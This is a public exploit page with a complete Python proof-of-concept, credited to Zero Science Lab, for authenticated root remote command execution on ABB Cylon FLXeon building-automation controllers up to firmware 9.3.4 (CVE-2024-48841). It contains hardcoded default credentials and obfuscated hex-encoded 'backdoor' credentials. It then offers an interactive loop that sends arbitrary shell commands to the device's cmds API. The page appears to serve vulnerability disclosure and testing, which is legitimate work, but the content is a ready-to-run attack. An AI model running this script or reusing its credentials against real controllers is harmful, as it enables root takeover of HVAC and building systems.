Share
## https://sploitus.com/exploit?id=ZSL-2025-5908
<html><body><p>#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote Code Execution
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnetยฎ Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnetยฎ IP and BACnet MS/TP field controllers for ASPECTยฎ and INTEGRAโข
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: The ABB Cylon FLXeon BAS controller is vulnerable to authenticated root command
# execution via the cmds API. An authenticated attacker can execute arbitrary system
# commands with root privileges.
#
# ----------------------------------------------------------------------------------
# $ ./cmdsapi.py https://7.3.3.1
# Logged in as admin (admin).
# # id
# uid=0(root) gid=0(root) groups=0(root)
# # exit
# Cheers!
# ----------------------------------------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5908
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5908.php
# CVE ID: CVE-2024-48841
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
#
#
# 21.04.2024
#
#
import sys
import urllib3
import requests
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
DEFAULT_PORT = 443
LOGIN_ENDPOINT = "/api/login"
CMDS_ENDPOINT = "/api/cmds"
proj = r"""
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ
ABB Cylon FLXeon Series <=9.3.4
Remote Root Command Execution
ZSL-2025-5908
"""
def usage():
print(proj)
print("Usage: ./cmdsapi.py <target>")
def get_url(target):
if not target.startswith(("https://", "http://")):
target = f"https://{target}"
if ":" not in target.split("//")[1]:
target = f"{target}:{DEFAULT_PORT}"
return target
def auth(url, usr, pwd):
login_url = urljoin(url, LOGIN_ENDPOINT)
payload = {"username": usr, "password": pwd}
sess = requests.session()
try:
r = sess.post(login_url, json=payload, verify=False)
if r.status_code == 401 or r.text == "Unauthorized":
print(f"Auth failed for {usr}: Unauthorized")
return None
elif r.status_code == 200:
userID = r.json().get("id")
if userID == "admin":
print(f"Logged in as admin ({usr}).")
else:
print(f"Logged in as {userID} ({usr}).")
return sess
else:
print("Unexpected.")
return None
except requests.exceptions.RequestException as e:
print(f"Auth error: {e}")
return None
def exec(sess, url, cmd):
cmds_url = urljoin(url, CMDS_ENDPOINT)
payload = {"cmd": cmd}
try:
r = sess.post(cmds_url, json=payload, verify=False)
if r.status_code == 200:
result = r.json().get("result", "Resultless!")
print(result, end="")
else:
print(f"cmd exec failed: {r.status_code} - {r.text}")
except requests.exceptions.RequestException as e:
print(f"cmd exec error: {e}")
def main():
if len(sys.argv) != 2:
usage()
sys.exit(1)
target = sys.argv[1].strip()
url = get_url(target)
sess = auth(url, "admin", "cylonctl")
if not sess:
print("Trying backdoor access...")
back,door = "\x63\x78\x70\x72\x6F","\x73\x69\x74\x65\x67\x75\x69\x64\x65"
sess = auth(url, back, door)
if not sess:
print("Backdoor access failed :(")
sys.exit(1)
while True:
cmd = input("# ").strip()
if cmd.lower() == "exit":
print("Cheers!")
break
exec(sess, url, cmd)
if __name__ == "__main__":
main()
</target></p></body></html>